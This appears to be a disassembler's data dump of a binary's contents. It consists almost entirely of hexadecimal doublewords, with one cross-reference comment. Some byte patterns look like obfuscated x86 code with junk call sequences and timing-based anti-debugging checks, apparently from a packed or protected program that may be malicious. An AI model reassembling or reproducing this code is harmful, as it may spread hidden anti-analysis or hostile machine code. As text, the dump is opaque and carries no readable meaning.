dd 1F1C0585h, 0E806h, 5580000h, 0Dh, 39E90389h, 0
dd 0Dh dup(77E600h), 0FF77E600h, 0B0E9h, 8C666000h, 4C2F6DAh
dd 0C850Fh, 853B0000h, 61F20D9h, 36840Fh, 853B0000h, 61F2C51h
dd 2A840Fh, 853B0000h, 61F1BE5h, 1E840Fh, 853B0000h, 61F0BBDh
dd 12840Fh, 0BD830000h, 61F1D25h, 5840F01h, 0E9000000h
dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
dd 61F4DB0h, 5B8h, 61E3FF00h, 8DD00BC3h, 245FC88Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 269AC935h, 8B60B83Eh, 899D03D8h, 61061F14h, 0B5D8D89h
dd 0FE9061Fh, 0F0000000h, 8481C01Bh, 0CB17F026h, 75ADB00Dh
dd 85C77A9Ah, 61F20C5h, 727Ch, 137D85C7h, 61Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 1D4AB1C3h, 0B252855Fh, 0B5FF5EDAh, 61F105Dh, 418770BEh
dd 5995FF15h, 89061F2Dh, 1F1C458Dh, 0FF006A06h, 1F1D4595h
dd 0EBC08B06h, 98767D1Bh, 4E452AA5h, 0CCC2327h, 0C4FC91B2h
dd 7A5440CAh, 0AF13DAFFh, 0BBB19FBAh, 60EBh, 17h dup(0)
dd 0E5E90000h, 0E900000Bh, 0BD9h, 24689668h, 1D24E906h
dd 1568FFFBh, 0E906246Ah, 0FFFB1D1Ah, 246A8668h, 1D10E906h
dd 0D9D3FFFBh, 0B8EDB128h, 9E0CD047h, 8128EC63h, 6343077Eh
dd 21DB279Eh, 778A1Ch, 2198773Ch, 3FB64B5Dh, 5CD32C7Bh
dd 966E1A93h, 2919AF41h, 0BA868F1h, 41AB832Fh, 8A3E19AFh
dd 88AC54E6h, 0CC6E4525h, 0D3A14820h, 8327DB1Fh, 0AC07BBF1h
dd 7F28EC63h, 0E871EE80h, 0D3A1643Ch, 1F43F71Fh, 36C8396Fh
dd 5D093182h, 1FD3A185h, 47C06418h, 0BBDF2087h, 0C4317529h
dd 0E5771BE6h, 138C7531h, 1AAC5553h, 0F9144C72h, 0A4659614h
dd 6F3AEE80h, 604AFE90h, 4A5B0FA1h, 0ED4F6133h, 5D486790h
dd 574EFEA2h, 0F57204A8h, 6BE8C06Ch, 0C77B1FD3h, 4A6E9317h
dd 0CC7840F7h, 1FD36BF4h, 0B62FD387h, 0F78B0C0Ah, 82FBAF15h
dd 0A31CE3C2h, 8B40CF6Dh, 0A3C70AC9h, 1D6CC52Ch, 901CF8A4h
dd 0B77725F8h, 0B0E90DF2h, 64ED6AFCh, 0F88FE0B8h, 46BF7325h
dd 0F88FC29Ah, 7DA15525h, 0AE25DACDh, 9D624537h, 0A2FC633Ah
dd 46B9F091h, 89F329A2h, 0F405C5C3h, 0E91EF6A2h, 0FDB11FD2h
dd 42C13359h, 8D4A8F8Dh, 77E0669h, 94B06A5Fh, 45C3F3h
dd 0A2500000h, 0C4B9F091h, 0C9E5B015h, 0B547EB57h, 7C06690Dh
dd 0D3A1F8D0h, 5ED78B1Fh, 60FDD828h, 529AC83h, 45097CA2h
dd 763C9F60h, 946D39F9h, 0BC7C0D70h, 48113EEh, 0D3A18058h
dd 0BB5F131Fh, 3C7C97h, 0A2050000h, 36447A91h, 4FAEA20h
dd 22CA5CA3h, 7C77DA7Eh, 0D3A1F8D0h, 0A205BD1Fh, 7533F37Ch
dd 2E52FA8Ch, 1D6045CBh, 0A49D501Dh, 0AB24C804h, 0C8B48A75h
dd 0D181BF7Bh, 0A20529D6h, 0F37C0F76h, 0D3A16F47h, 2A4E021Fh
dd 0B42D60D7h, 0F094F308h, 0EAC08015h, 41E17317h, 25F2D36Dh
dd 48DA2781h, 0D3E01394h, 0C706983Ch, 2987A638h, 0B20734AAh
dd 5B097472h, 1CBh, 0FA8FA2E8h, 1BE4C181h, 44BDE189h, 0D3A1B898h
dd 2EA75B1Fh, 0A3C73A6Eh, 0B54A5D11h, 0D6297C3Ch, 45C43BB2h
dd 0E992C862h, 0AE0F6566h, 333911ADh, 18CC1FD3h, 0E6631174h
dd 89FB8426h, 616EE5E3h, 0DB58EA8Eh, 0D37D572Fh, 9236EA1Fh
dd 91A20B6Eh, 0F17E99FCh, 0F7897631h, 0F50A9F4Fh, 3497BB63h
dd 15ECBC7Ch, 21B7DB83h, 0F394B028h, 3A85h, 0BC7C1200h
dd 0DB8315ECh, 0BACF64B7h, 68467C57h, 7B810CAEh, 3AE65F83h
dd 1FD35E62h, 7CDE41F5h, 9F604509h, 7C0F763Ch, 8AF1EE46h
dd 567AA07Ch, 343Bh, 0B9EEAE00h, 0A2BF2246h, 0C383FC91h
dd 69980EE7h, 0F98B2FD7h, 7CCA2D51h, 0D3A1F8D0h, 1B8B4B1Fh
dd 3BBC2E6h, 45097CA0h, 763C9F60h, 856E39F9h, 163ADE23h
dd 0EE8FA2B3h, 2BA448B7h, 0D3A19B7Fh, 1992461Fh, 0A20CE490h
dd 0EB9F1FD3h, 268135C7h, 45EB62D9h, 633A9D62h, 0D9B15DE6h
dd 6C1FD3A1h, 0A23194B8h, 0FA83FC91h, 0D3A1764Eh, 3155091Fh
dd 31F17ECEh, 0D0FA8C75h, 806E6AEAh, 7EA24693h, 0B06A5F1Bh
dd 56C3F394h, 50000000h, 99FC91A2h, 0A1F8D07Ch, 0D78B1FD3h
dd 5129D55Eh, 0E41FD3A1h, 7CA90C30h, 0D192BDF3h, 0FD0EFF50h
dd 604576D9h, 0A1461ECAh, 25D91FD3h, 0F761E81h, 6F47F37Ch
dd 21FD3A1h, 4F0F2A4Eh, 82000000h, 0A1754DF9h, 17911FD3h
dd 7C28B1EAh, 1FD3A1A4h, 0BBDF8337h, 2791A258h, 0D3A1A37Bh
dd 0DE82361Fh, 0F8D07C7Bh, 4B1FD3A1h, 51E31C8Bh, 54ADF9A9h
dd 0E712930h, 0BFBDF37Ch, 0C4CA3B7Ah, 7CA3062Ah, 419AB546h
dd 4A6E3B0Eh, 91F40B9Ah, 0BC7C0F76h, 0DD8517EAh, 0DC9EB9h
dd 7C270000h, 0A16F47F3h, 4E021FD3h, 2F5AD72Ah, 0A12A0AB6h
dd 19CD1FD3h, 5D4A0A87h, 446810A2h, 1B6A1394h, 27E15750h
dd 65DC53F7h, 0E901467Ch, 46FBB6F5h, 0CA357222h, 68467C67h
dd 0DC238232h, 0E37CA24Ah, 4BDD0125h, 47F37CE4h, 1FD3A16Fh
dd 0D72A4E02h, 7CCE315Ch, 8618F7BCh, 0CC43BADEh, 94B06A5Fh
dd 39C3F3h, 0A2500000h, 4BB6F091h, 5DA205B9h, 597F23CBh
dd 349BD39Fh, 2D903481h, 0A1F8D07Ch, 0D78B1FD3h, 33F37C74h
dd 86B8F80h, 14EBBC7Ch, 6B6DA82h, 76FD609Fh, 3CDA0Fh, 0A2630000h
dd 0A37B2791h, 361FD3A1h, 7C7BDE82h, 0D3A1F8D0h, 8430BD1Fh
dd 1FD3A1ACh, 84E78B3Fh, 0BE6AF37Ch, 1FD3A1E6h, 3EA1C579h
dd 14EBBC7Ch, 2B882FEEh, 5D819D43h, 0A407F8ADh, 62450F76h
dd 51570B9Dh, 327539B0h, 0A1744CF8h, 53071FD3h, 59FD02A3h
dd 0A15527C7h, 0C8B1FD3h, 0A7584FD2h, 0EF3B6E2Eh, 0D3A16B43h
dd 0A64AFE1Fh, 0D1486C14h, 0D3659A0Dh, 2816CC5h, 9D6245DCh
dd 0CED99926h, 0DB248131h, 2A7DA149h, 630F880Dh, 15F0954Eh
dd 0F59527DBh, 25F2D521h, 0FA8C7535h, 1DC96146h, 25F2D445h
dd 0EE8024D8h, 3EEFEF6Ah, 0BE7D61E0h, 97471FBh, 3312h
dd 62459F00h, 8EE249Dh, 34C34C73h, 6B0B9DC1h, 1FD2A993h
dd 5B1E54D1h, 5C00DF1Bh, 0D50984A8h, 23CF5B4Ch, 1FD3804Bh
dd 0F862ADEh, 18E7C282h, 57BADE86h, 249D6245h, 0A217EF9Bh
dd 0F6AA1FD3h, 4EE940D2h, 8416C23Bh, 0F15F7C1h, 0BA7DE45Bh
dd 0C218B055h, 4E745206h, 0D46F50h, 75EE921Dh, 1575B4C9h
dd 0FB8D411Ch, 17B4875Bh, 706EED2Ch, 2F518ECBh, 0CE093F03h
dd 2164AC44h, 21A94266h, 36000000h, 81FA8FA2h, 926D38F8h
dd 0A25D4C00h, 963EDAFEh, 91FD3A1h, 8E1CDC55h, 12CDFC73h
dd 56000000h, 81FA8FA2h, 0D3A1F1D5h, 6FE89C1Fh, 8F06FBAFh
dd 0EBBC7C18h, 0DCCE8214h, 425D8125h, 1AEh, 0A8802CB5h
dd 3B1FD3A1h, 0A2006387h, 4CB5F394h, 0FAA62FA8h, 1FD3A222h
dd 0E2887FB5h, 87BC2EEh, 0DF4B464h, 0BC7C86E9h, 5FF115ECh
dd 9D6245F8h, 7C077E3Ah, 8315ECBCh, 0DEB662DBh, 711FD3A1h
dd 0C60399BDh, 87F394B0h, 0A27A52FEh, 590D22D3h, 3F9C35h
dd 7C290000h, 0DCF21846h, 0E328BB0h, 0F5947BBBh, 1A9885EBh
dd 93FB85Ch, 0F3A046DAh, 72D5F941h, 0A1F8D07Ch, 0D78B1FD3h
dd 5129D55Eh, 0E41FD3A1h, 7CA90C30h, 9C654509h, 0DA0F7639h
dd 3Ah, 7D94A263h, 891DB7CBh, 183EE678h, 0FEA2AF98h, 33F37C9Bh
dd 46FA8C75h, 630B9D64h, 27FF9BBFh, 0EC1FD3A2h, 97CD134h
dd 18906545h, 76E245E9h, 6F05C3F9h, 835F79F1h, 467CFC5Fh
dd 0D4D4099Ah, 0CDF39B2Dh, 4468F964h, 0C7E01394h, 5AFEA638h
dd 0A2FC63F7h, 0C383FC91h, 406919E6h, 61852DBFh, 0F7BC7CFEh
dd 67DF418h, 94B06A5Fh, 5BC3F3h, 43A0000h, 840DF06Dh, 1648885h
dd 0BE6AF37Ch, 1FD3A1E6h, 5129C579h, 0E41FD3A1h, 0D9288030h
dd 0BCD162B5h, 6AF37C59h, 0D3A1E6BEh, 0A1C5791Fh, 0D3A22D05h
dd 0E5C0801Fh, 9BDF61Ah, 2A467CA6h, 0FDB7CEC4h, 0F981135h
dd 6EF2ECD9h, 8DB1922Bh, 9F60452Ah, 0DA0F763Ch, 1Dh, 0FC91A263h
dd 0F8D07C99h, 0BD1FD3A1h, 0E7CC8C05h, 0CAEE9628h, 45097C67h
dd 763C9F60h, 1C63450Fh, 0C33746BBh, 0E3751983h, 0FE01A666h
dd 4A0C46Ch, 1FD3572Fh, 0A59FD552h, 5A8B41E9h, 8C52CDF1h
dd 77EE1395h, 9AB6B4EAh, 9AE35C42h, 63451376h, 50580C9Eh
dd 209B1FB1h, 0BC4563BEh, 0AC339545h, 0DD731FD3h, 0F6B4E9Dh
dd 0FFFE3E32h, 7420A9FFh, 1FD3B39Ch, 0F4577B2Fh, 0D3A18559h
dd 7D9AD01Fh, 91C1F9A6h, 75BF71Bh, 521FD38Ah, 58D0D81Ch
dd 86AA4210h, 0D36017EAh, 4A4641Fh, 693DD9FDh, 911FD35Fh
dd 1FD35FBDh, 0D36011E5h
dd 0E0B5825Fh, 800B3167h, 5F9FDBCFh, 9355ACD1h, 597D218Eh
dd 1C9757E0h, 95B961F3h, 0F4ED7BF9h, 0D86A1ED5h, 5AD3B681h
dd 33B38724h, 8C48238Ah, 7BC8EE0Fh, 0D4D1812Fh, 0E28E072Bh
dd 0DC12243Dh, 2CCF36EAh, 193A67C9h, 2F56483h, 0FDAF0000h
dd 0DCC98D04h, 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah
dd 0DC53AEF8h, 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh
dd 519AF39h, 0BC7C5ACDh, 0CC8012EDh, 0E89022DDh, 37702044h
dd 0F9B936C8h, 19C153ACh, 0F495A2F5h, 2EA74BB6h, 50E108F8h
dd 0C2E67DE4h, 850F9D49h, 0C95215F7h, 0F7C4451Dh, 24D825h
dd 0F9C13C7h, 3B765086h, 0BB823DF2h, 0F85E471Fh, 226DA25h
dd 0F85E9266h, 61340325h, 0B9F5FE8h, 98BC64F6h, 1C7F02FCh
dd 70E99D1Ch, 3A8EBE3Ah, 1DFB6B7Fh, 20B5DB8Fh, 9710349Ch
dd 0B82FD0D7h, 0DFCAB3F4h, 0F9C05B27h, 0F8D4F25Eh, 33C4A5D2h
dd 4A80FD8Fh, 0DF5A49DEh, 1DB9DDF0h, 2C1CDF41h, 921475C2h
dd 9135DD6Fh, 0FFD66C18h, 0A0292240h, 41401CF4h, 0D7FBAF32h
dd 0B171EA9Eh, 59209F6h, 6C59EECFh, 2E52ED90h, 5DD6297Eh
dd 0D1F50A9Dh, 3A4FE83Fh, 0DD0B8BC1h, 34A6C487h, 59EB9710h
dd 0E428652Ah, 6E2EB730h, 532BC73Ah, 0E638656Ah, 0EA7C8326h
dd 0E87A9E42h, 0CFD7A691h, 0EF818026h, 86FFA347h, 936C3DFDh
dd 8AD5D36Fh, 0C4782E89h, 0E31C8B4Bh, 0FFA86Ch, 0BC68F16Eh
dd 3E89CAE4h, 39FC377h, 3E89E52Fh, 79F297A0h, 0AE053FCDh
dd 0E7C28234h, 0BADE8618h, 9454CD81h, 0B35BED14h, 91A6FD8Fh
dd 82D783FCh, 0F3ACB4Fh, 0A719F45Bh, 9E34DCDEh, 1767Fh
dd 857C3000h, 0A45B4A0Eh, 0C041692Dh, 0DB248549h, 0FB06A064h
dd 777E3884h, 975BD22Fh, 0B87CF31Ch, 0D69A11F0h, 0EEB72ED1h
dd 37F1C975h, 4C8419AFh, 95A2D9h, 15DEC787h, 32DA6C95h
dd 9169158Eh, 241FD3A1h, 27D34C70h, 15F7C199h, 7FD6681Ch
dd 0B05CD5B8h, 1C151367h, 97EFA6DCh, 0BF6BC18Bh, 0D567980Fh
dd 0DD22892Dh, 58FA64C7h, 105A3C2h, 0EDBF0000h, 0CCD99D14h
dd 0B2F8BC33h, 9514D84Fh, 772FF36Ah, 0DC7138Ah, 0EC639E08h
dd 0D848B28h, 2BA25F49h, 48BF4067h, 825A067Fh, 1519AF37h
dd 95A26ADDh, 6742B1F4h, 0CF7BF498h, 1FD3A1F7h, 0B932D68Ah
dd 0F7C1770Dh, 0C4560A15h, 0EF689710h, 6589762Fh, 827D2AEEh
dd 0EB9E99F0h, 653DE972h, 0F825F801h, 0FBA72044h, 1C1C2201h
dd 0AD71E89Ch, 0CC9007F8h, 0E8AC23DEh, 3C73EC1h, 5DD89A3h
dd 982C1C62h, 9C8EBEE4h, 0C2EB046Ah, 0CEE5A51Eh, 0E307AF41h
dd 861FDF6Ch, 0AB1BAFF7h, 57FB00FDh, 49F91DC5h, 0A22BA45Dh
dd 1C2C1EF6h, 0D9FDB12Ch, 0A04CD562h, 2C1C2BC8h, 0D383A75Bh
dd 2BB82FE0h, 2C1EF6A2h, 0EBC42C1Ch, 0FC6E87C3h, 7DA1558Eh
dd 8C1ADBCDh, 772FE375h, 0AC50F88Ah, 0CE049108h, 0E67CF4F8h
dd 30E004EAh, 4D118877h, 0CB32A966h, 4B0296Ch, 223FF80Ah
dd 0AB5FF1A5h, 5D8C03FCh, 3, 4540A7E6h, 54089A67h, 661AAC53h
dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h
dd 0DA8E20E1h, 86A234CBh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h
dd 75682424h, 89000003h, 34682434h, 89000062h, 7268241Ch
dd 8B062460h, 0C4812434h, 4, 4B3D68h, 24248900h, 4240483h
dd 8B9515Bh, 1000000h, 8B3189D9h, 0C483240Ch, 241C8B04h
dd 5E08950h, 4, 405h, 24048700h, 24348B5Ch, 81E68956h
dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFB1156h, 6BB0B878h
dd 0C5030624h, 3CE9C38Bh, 0F9000001h, 0D5B58DFCh, 0F06246Ch
dd 780h, 61606000h, 6140CD80h, 4BA8858Dh, 6A0622h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 15F3BFC3h, 1890FEBh, 0F8000000h, 0FF5D0FFh, 0D89h, 8E900h
dd 546B0000h, 5E23D927h, 6AC3AADFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 69DC350h
dd 600CD3A3h, 0F08B6660h, 0BA61D08Bh, 1B8A555Dh, 0FE961h
dd 0B77B0000h, 0B8D9FA71h, 0BC67F2BAh, 0E5D9117Bh, 0D98C6639h
dd 5880Fh, 0F600000h, 0F561C8B7h, 0F04C1F6h, 4A84h, 0D7816000h
dd 7DA635D0h, 48E0Fh, 0BF660000h, 8B61000Ah, 32CB8BFBh
dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah
dd 1B8h, 8B09EB00h, 0B8E4EB00h, 0
dd 0EE9F8CFh, 2F000000h, 160F0AA3h, 401AE8A7h, 4530B784h
dd 55006A9Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 53EE074Eh, 0E8FFD898h, 0C7FC6FC2h, 246D1785h
dd 1013F06h, 0CE800h, 0B41C0000h, 87E3F30Dh, 48A94F9Bh
dd 0FBB85B41h, 5F236CEAh, 81F2DF80h, 7608C7h, 890F5100h
dd 19h, 14E9h, 0DD29FD00h, 0B1E03F26h, 0F11D5C36h, 8F1984B2h
dd 50A616DCh, 0C92B5BA9h, 34FF22B0h, 18A0F39h, 0F9000000h
dd 0B1BE505Ah, 583F511Eh, 0F6D3EA81h, 0BF6052E4h, 7523DDF5h
dd 14E8h, 4E223B00h, 46D054C6h, 511B3F47h, 696D1782h, 898A305h
dd 850F4Fh, 59000000h, 3FEA8161h, 814BF1EDh, 72C2F5DBh
dd 0B7F28176h, 0FC129221h, 0F0F1489h, 586h, 0D8816600h
dd 12E9B943h, 64000000h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh
dd 0DE486089h, 0E3E98124h, 0E94DFFCFh, 9, 77C35E3Fh, 677739C1h
dd 0DFC1812Bh, 8B4DFFCFh, 0FCF981C6h, 0FFFFF8Ah, 0E85h
dd 0E9E4B700h, 22h, 0C348CBB4h, 0F6F82B9h, 8Ah, 0FF48E900h
dd 0E301FFFFh, 0B4BB82CDh, 9EB5F692h, 93245990h, 8D8D4B87h
dd 6246F7Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 6EC35747h, 0A1DB29D3h, 0AD9D4901h, 8D895000h, 61F0035h
dd 89F38A58h, 1F0B5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0C543737Bh, 0C7DCC7BFh
dd 1F20C585h, 58F406h, 85C7F900h, 61F137Dh, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 55C35747h
dd 3806D094h, 0FF3A316Fh, 1F1545B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 1F2C464h, 0E82C10B4h
dd 12h, 59CC3E52h, 0EEBABC18h, 3E3F8488h, 23FD3917h, 0B70F0D62h
dd 85235FD0h, 61F158Dh, 2D5995FFh, 8166061Fh, 6A4383CBh
dd 4595FF00h, 8B061F1Dh, 165FEBC0h, 0C25358A5h, 6EDFC278h
dd 2DFCC8E5h, 4A7354D7h, 0CCE66517h, 0CCAFB5E1h, 2B7B8EF8h
dd 45CA1387h, 472C0AAEh, 9AC935B5h, 29B83E26h, 41457F82h
dd 0CA2C5F2Eh, 2A7F61D8h, 13229E77h, 2C0B5EF7h, 555B6CD6h
dd 24C7178Ch, 0C833C131h, 0D7605E4Ah, 490F63B1h, 7674E763h
dd 0A8B9F941h, 8D8D4254h, 624711Ah, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 37C35040h, 0A8165647h, 10E9h
dd 10B37300h, 0BA59B95h, 23473ACDh, 0F86AD9ACh, 5D8D890Ch
dd 6A061F0Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 2C5DC355h, 8DB58B40h, 0C7061F1Dh
dd 1F20C585h, 675006h, 0D6816600h, 95331E19h, 61F2FA5h
dd 137D85C7h, 61Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0CA02D8C3h, 8B1336DEh
dd 0F34AC90h, 0FE9C2BFh, 3000000h, 0FD78A3A5h, 0F2E4E02Ch
dd 95B19161h, 0B5FFE502h, 61F105Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0F2C35242h, 8B72C4E4h, 1F0D6D95h
dd 0E995B206h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h, 5995FFBBh
dd 6A061F2Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 533C351h, 566F6D15h, 0CDA8B866h
dd 498D895Eh, 6A061F2Ah, 4595FF00h, 8B061F1Dh, 0BA1BEBC0h
dd 0A683E6A2h, 7B3E3B3Bh, 5E97867Bh, 16396EABh, 4C049919h
dd 0D2E2F1EDh, 3CE97C2Bh, 1, 45h dup(0)
db 2 dup(0)
word_584F4E dw 0 ; DATA XREF: ___:0042BEA8o
dd 8 dup(0)
dd 83000000h, 1F0DE1BDh, 840F0106h, 58Ah, 0FE9F9h, 0B420000h
dd 0C8DEC450h, 0FF2F158Fh, 448706B9h, 2585C6C5h, 43061F20h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h
dd 46F768B3h, 880F98ABh, 12h, 8E0F5250h, 0
dd 5250310Fh, 585A310Fh, 481585Ah, 0FA89FE24h, 55006A53h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8C0F2DB6h, 0Ah, 0FD08B60h, 85h, 0B5FF6100h, 61F3271h
dd 1800Fh, 0FFC0000h, 68Bh, 59516000h, 8D61CB8Bh, 22799385h
dd 0D0FFF906h, 8860Fh, 81600000h, 0E0515FE9h, 0E860617Ah
dd 12h, 63E9B15Dh, 778AB247h, 0C792777Eh, 2928E679h, 8B661992h
dd 0B70F59CEh, 858961DEh, 61F1A45h, 0CE9h, 0B8255800h
dd 9F43ED76h, 3EED1340h, 2585C635h, 50061F20h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 23C35040h, 4B01933Eh
dd 73B96876h, 0BF602F74h, 6B8D31D7h, 480EBF50h, 615E793Fh
dd 9D240481h, 60793939h, 939ABE60h, 0B8665A63h, 616125D2h
dd 0B8C0Fh, 6E90000h, 2D000000h, 7AE3388Ah, 71B5FF94h
dd 0F8061F32h, 7993858Dh, 8C0F0622h, 1, 0E9D0FFF5h, 5
dd 3A1D4784h, 0EE937h, 16EC0000h, 0EACE11F6h, 0FE4DBE6h
dd 2FA0F5C0h, 30818589h, 0E8F5061Fh, 4, 0F08FA82Fh, 138A0Fh
dd 0EE90000h, 0D000000h, 0A970BA46h, 0F63721DBh, 3A7CC040h
dd 52505070h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh
dd 310F585Ah, 9E9h, 0E1AE2A00h, 913C1EC7h, 585A3646h, 424448Bh
dd 0DE9h, 9D7C5900h, 0BD305FA2h, 869FD9BBh, 8B9FC3h, 0F840Fh
dd 0AE90000h, 38000000h, 10498AE4h, 0AE72C8ABh, 244489F9h
dd 9E904h, 0A9B20000h, 467967B5h, 5834EE6Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5DC35646h, 9E917h
dd 0F9710000h, 0AF12CC09h, 0FF5E8AA3h, 1F3271B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0EF1BAD26h, 8860C9ABh, 1890FF8h, 0F9000000h, 7993858Dh
dd 0DE90622h, 0C000000h, 2A317FCEh, 0DEF90C29h, 2C5C17EBh
dd 89F9D0FFh, 1F18B985h, 85C6F506h, 61F2025h, 78B0F50h
dd 0F000000h, 18Fh, 4E8F800h, 56000000h, 0F979CDCh, 1689h
dd 11E900h, 12C50000h, 2BC0A5CEh, 989E6DCAh, 0EB07C13Dh
dd 50A6960Eh, 0BE666060h, 66616A45h, 61E28CBAh, 424448Bh
dd 0E85A5660h, 14h, 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h
dd 5074B00h, 0EE9h, 4B08B400h, 0ADD0410Fh, 592D1695h, 5EACC91Fh
dd 60008B61h, 28D0Fh, 5F510000h, 8961C18Bh, 0E9042444h
dd 8, 0D078A008h, 163F6C3Ah, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 57F4CDF5h
dd 8E0FD107h, 11h, 0CE9h, 2EA2F200h, 495F317Ah, 0BF414413h
dd 0D9B5FF63h, 0E9061F20h, 13h, 818559Fh, 6FEDEACFh, 6478445Ch
dd 0C409E118h, 8DFBA081h, 1F394D85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0DE906h, 73F60000h
dd 6625E66Ch, 95417ADEh, 0E9B14652h, 7, 0DEC4500Bh, 0FF158FC8h
dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0A3DE013Ch, 6660F56Bh, 66C57DBAh, 6108AFBEh
dd 24818589h, 880F061Fh, 1, 188E9F8h, 0E9FC0000h, 0Fh
dd 5B85A605h, 6F746E6Ch, 28E2377Dh, 9538AD85h, 0C68B6060h
dd 6E9h, 19CF8D00h, 61C23E70h, 5061F88Bh, 0B8665760h, 665AD1C8h
dd 616A28BAh, 8E995h, 243C0000h, 34342E54h, 0EC8BD0CAh
dd 0EA2CBB60h, 0F5266EEh, 8Ah, 83615F00h, 6AFCC4h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0EE964C3h, 7F000000h, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h
dd 816660DFh, 0FCCA55F1h, 8D0F6061h, 1, 0E8F8h, 815A0000h
dd 247726EAh, 0FC45C706h, 0
dd 0DE1BA83h, 0F01061Fh, 9884h, 6A5200h, 92FF0F6Ah, 61F1A45h
dd 3F82895Ah, 8D062471h, 2471439Ah, 3C75206h, 128h, 92FF5053h
dd 61F3081h, 9A8D525Ah, 6247143h, 3FB2FF53h, 0FF062471h
dd 1F248192h, 0C00B5A06h, 9A8D5074h, 6247143h, 33247B8Dh
dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h
dd 752B3934h, 11BA8D0Ch, 8B061F21h, 0A4F30C4Dh, 52AAC032h
dd 8D0875FFh, 1F211182h, 92FF5006h, 61F18B9h, 75C00B5Ah
dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
dd 12E900h, 70180000h, 7F6D2527h, 59ED8446h, 5D5DA15Fh
dd 0AFE7D4E1h, 13830Fh, 0EE90000h, 6E000000h, 0FC59783Fh
dd 0FA3B37CCh, 0CF818D6Bh, 0D28BFC6Dh, 6E8h, 9DDAA900h
dd 0E90007A0h, 0Fh, 75A2E360h, 92C5BCB9h, 0FB87833Dh, 59865DE0h
dd 0DE8h, 9B9F8400h, 14486627h, 1F1EE8CBh, 0BB6678A4h
dd 815E20C8h, 75C1C1h, 2820F00h, 8B000000h, 0E9FF2BC7h
dd 8, 4CB34FC5h, 3FD4F9F2h, 0F839148Bh, 8181EA81h, 0BF0F6568h
dd 8FEA81F6h, 8179A593h, 97D254C2h, 0D881666Dh, 0F5270F6h
dd 1C8Eh, 14E800h, 69240000h, 36AA0F6Eh, 0A5112F47h, 202D6759h
dd 43608AE5h, 616015E0h, 39048F58h, 6056CB80h, 60616060h
dd 83616161h, 0FF8104EFh, 0FFFF8B1Ch, 10850Fh, 0E6810000h
dd 45FB07C4h, 29E9h, 9D269B00h, 870F8E14h, 6, 840Fh, 81E90000h
dd 80FFFFFFh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
dd 13E8E2C9h, 44000000h, 0DBD4E542h, 0BF8C7DA2h, 55D39A04h
dd 0F3F16C74h, 5BF50E27h, 4713DAB8h, 0D2C38110h, 8B000061h
dd 68F3h, 0CB90000h, 5F5DDC77h, 11E9h, 4E165400h, 9E318BB2h
dd 9E3FA434h, 369BF0FAh, 34FF9E96h, 5A1BB11Fh, 4A06C281h
dd 890F14DBh, 0Eh, 810F60h, 81000000h, 2BA231CAh, 0C281613Eh
dd 27FFA42Fh, 4005B866h, 66C281h, 0F0B8473Dh, 89488D49h
dd 5E93B14h, 0DF000000h, 0A00A4A2Ch, 0FE8h, 416CE400h
dd 0A5BF7397h, 2245D6E7h, 0EA040FE8h, 0EF8359F8h, 7E901h
dd 0CECB0000h, 0F507FBFCh, 4F4F4F5Dh, 81C8BF0Fh, 0FF9F04FFh
dd 0E850FFFh, 0F5000000h, 18E9h, 0D6463100h, 63807E96h
